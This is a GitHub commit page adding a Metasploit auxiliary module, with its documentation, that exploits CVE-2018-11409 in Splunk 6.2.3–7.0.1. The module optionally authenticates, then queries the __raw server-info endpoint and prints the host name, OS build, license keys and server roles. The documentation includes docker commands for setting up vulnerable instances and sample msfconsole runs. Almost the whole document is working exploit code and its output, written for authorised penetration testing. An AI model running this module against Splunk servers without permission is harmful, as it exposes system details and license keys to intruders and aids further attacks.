Skip to content

Commit

Permalink
Land #18635, Authenticated Splunk Info Disclosure
Browse files Browse the repository at this point in the history
This PR adds a module for an authenticated Splunk information
disclosure. This module gathers information about the host
machine and the Splunk install including OS version, build,
CPU arch, Splunk licnese keys etc.
  • Loading branch information
jheysel-r7 committed Dec 28, 2023
2 parents d6488dc + 8b970af commit beef573
Show file tree
Hide file tree
Showing 2 changed files with 221 additions and 0 deletions.
88 changes: 88 additions & 0 deletions documentation/modules/auxiliary/gather/splunk_raw_server_info.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,88 @@
## Vulnerable Application

Splunk versions 6.2.3 through 7.0.1 allows information disclosure by appending
`/__raw/services/server/info/server-info?output_mode=json` to a query.

Versisons 6.6.0 through 7.0.1 require authentication.

### Docker Install

#### Splunk 6.5.5

A vulnerable version of Splunk can be installed locally with docker:

`docker run -p 8000:8000 -e "SPLUNK_PASSWORD=splunk" -e "SPLUNK_START_ARGS=--accept-license" -it --name so1 splunk/splunk:6.5.5`

#### Splunk 7.1.0

At startup it'll ask for a password for the system. You may need to login via the website and accept a license and restart
the service (via website) for the instance to be exploitable. Splunk can be started via docker with:

`docker run -p 8000:8000 -e "SPLUNK_START_ARGS=--accept-license" -it --name so2 splunk/splunk:7.1.0`

## Verification Steps

1. Install the application
1. Start msfconsole
1. Do: `use auxiliary/gather/splunk_raw_server_info`
1. Do: `SET RHOSTS [IP]`
1. You should receive output about the Splunk version and roles, license status, including license key info, and OS information.

## Options

## Scenarios

### Splunk 6.5.5

```
msf6 > use auxiliary/gather/splunk_raw_server_info
msf6 auxiliary(gather/splunk_raw_server_info) > exploit
[*] Running module against 127.0.0.1
[+] Output saved to ~/.msf4/loot/20231220130955_default_127.0.0.1_splunk.system.st_442957.bin
[+] Hostname: 3c7b9beb6c3c
[+] CPU Architecture: x86_64
[+] Operating System: Linux
[+] OS Build: #1 SMP PREEMPT_DYNAMIC Debian 6.5.3-1kali2 (2023-10-03)
[+] OS Version: 6.5.0-kali2-amd64
[+] Splunk Version: 6.5.5
[+] Trial Version?: true
[+] Splunk Forwarder?: false
[+] Splunk Product Type: enterprise
[+] License State: EXPIRED
[+] License Key(s): []
[+] Splunk Server Roles: ["indexer", "license_master"]
[+] Splunk Server Startup Time: 2023-12-19 20:56:13
```

### Splunk 7.1.0

```
[msf](Jobs:0 Agents:0) > use auxiliary/gather/splunk_raw_server_info
[msf](Jobs:0 Agents:0) auxiliary(gather/splunk_raw_server_info) > set rhosts 127.0.0.1
rhosts => 127.0.0.1
[msf](Jobs:0 Agents:0) auxiliary(gather/splunk_raw_server_info) > set username admin
username => admin
[msf](Jobs:0 Agents:0) auxiliary(gather/splunk_raw_server_info) > set password splunksplunk
password => splunksplunk
[msf](Jobs:0 Agents:0) auxiliary(gather/splunk_raw_server_info) > set verbose true
verbose => true
[msf](Jobs:0 Agents:0) auxiliary(gather/splunk_raw_server_info) > run
[*] Running module against 127.0.0.1
[+] Output saved to /root/.msf4/loot/20231220204049_default_127.0.0.1_splunk.system.st_943292.json
[+] Hostname: 523a845e8652
[+] CPU Architecture: x86_64
[+] Operating System: Linux
[+] OS Build: #1 SMP PREEMPT_DYNAMIC Debian 6.5.6-1kali1 (2023-10-09)
[+] OS Version: 6.5.0-kali3-amd64
[+] Splunk Version: 7.1.0
[+] Trial Version?: false
[+] Splunk Forwarder?: false
[+] Splunk Product Type: splunk
[+] License State: OK
[+] License Key(s): ["FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF"]
[+] Splunk Server Roles: ["indexer", "license_master"]
[+] Splunk Server Startup Time: 2023-12-21 01:40:02
[*] Auxiliary module execution completed
```
133 changes: 133 additions & 0 deletions modules/auxiliary/gather/splunk_raw_server_info.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,133 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Splunk __raw Server Info Disclosure ',
'Description' => %q{
Splunk 6.2.3 through 7.0.1 allows information disclosure by appending
/__raw/services/server/info/server-info?output_mode=json to a query.
Versisons 6.6.0 through 7.0.1 require authentication.
},
'License' => MSF_LICENSE,
'Author' => [
'n00bhaxor', # msf module
'KOF2002', # original PoC
'h00die' # 6.6.0+
],
'References' => [
[ 'EDB', '44865' ],
[ 'URL', 'https://web.archive.org/web/20201124061756/https://www.splunk.com/en_us/product-security/announcements-archive/SP-CAAAP5E.html'],
[ 'CVE', '2018-11409']
],
'DisclosureDate' => '2018-06-08',
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [],
'SideEffects' => [IOC_IN_LOGS]
}
)
)
register_options(
[
Opt::RPORT(8000),
OptString.new('USERNAME', [ false, 'User to login with', 'admin']),
OptString.new('PASSWORD', [ false, 'Password to login with', '']),
OptString.new('TARGETURI', [ true, 'The URI of the Splunk Application', ''])
]
)
end

def authenticate
login_url = normalize_uri(target_uri.path, 'en-US', 'account', 'login')

res = send_request_cgi({
'method' => 'GET',
'uri' => login_url
})

unless res
fail_with(Failure::Unreachable, 'No response received for authentication request')
end

cval_value = res.get_cookies.match(/cval=([^;]+)/)[1]

unless cval_value
fail_with(Failure::UnexpectedReply, 'Failed to retrieve the cval cookie for authentication')
end

auth_payload = {
'username' => datastore['USERNAME'],
'password' => datastore['PASSWORD'],
'cval' => cval_value,
'set_has_logged_in' => 'false'
}

res = send_request_cgi({
'method' => 'POST',
'uri' => login_url,
'keep_cookies' => true,
'vars_post' => auth_payload
})

unless res && res.code == 200
fail_with(Failure::NoAccess, 'Failed to authenticate on the Splunk instance')
end

print_good('Successfully authenticated on the Splunk instance')
end

def get_contents
request = {
'uri' => normalize_uri(target_uri.path, 'en-US', 'splunkd', '__raw', 'services', 'server', 'info', 'server-info'),
'keep_cookies' => true,
'vars_get' => {
'output_mode' => 'json'
}
}
res = send_request_cgi(request)

fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?
# 200 is <6.6.0 success, 303 is >=6.6.0 likely success but need auth first
fail_with(Failure::UnexpectedReply, "#{peer} - Invalid response(response code: #{res.code})") unless res.code == 200 || res.code == 303
res
end

def run
# on 6.2.x-6.5.x this will work as its unauth
res = get_contents
# if we hit 6.6.0 - 7.1.0 we need to auth first
if res.body == '{"messages":[{"type":"ERROR","text":"See Other"}]}'
print_status('Authentication required, logging in and re-attempting')
authenticate
res = get_contents
end

j = res.get_json_document

loot_path = store_loot('splunk.system.status', 'application/json', datastore['RHOST'], res.body, 'system_status.json')
print_good("Output saved to #{loot_path}")

print_good("Hostname: #{j['entry'][0]['content']['host_fqdn']}")
print_good("CPU Architecture: #{j['entry'][0]['content']['cpu_arch']}")
print_good("Operating System: #{j['entry'][0]['content']['os_name']}")
print_good("OS Build: #{j['entry'][0]['content']['os_build']}")
print_good("OS Version: #{j['entry'][0]['content']['os_version']}")
print_good("Splunk Version: #{j['generator']['version']}")
print_good("Trial Version?: #{j['entry'][0]['content']['isTrial']}")
print_good("Splunk Forwarder?: #{j['entry'][0]['content']['isForwarding']}")
print_good("Splunk Product Type: #{j['entry'][0]['content']['product_type']}")
print_good("License State: #{j['entry'][0]['content']['licenseState']}")
print_good("License Key\(s\): #{j['entry'][0]['content']['licenseKeys']}")
print_good("Splunk Server Roles: #{j['entry'][0]['content']['server_roles']}")
converted_time = DateTime.strptime(j['entry'][0]['content']['startup_time'].to_s, '%s').strftime('%Y-%m-%d %H:%M:%S')
print_good("Splunk Server Startup Time: #{converted_time}")
end
end

0 comments on commit beef573

Please sign in to comment.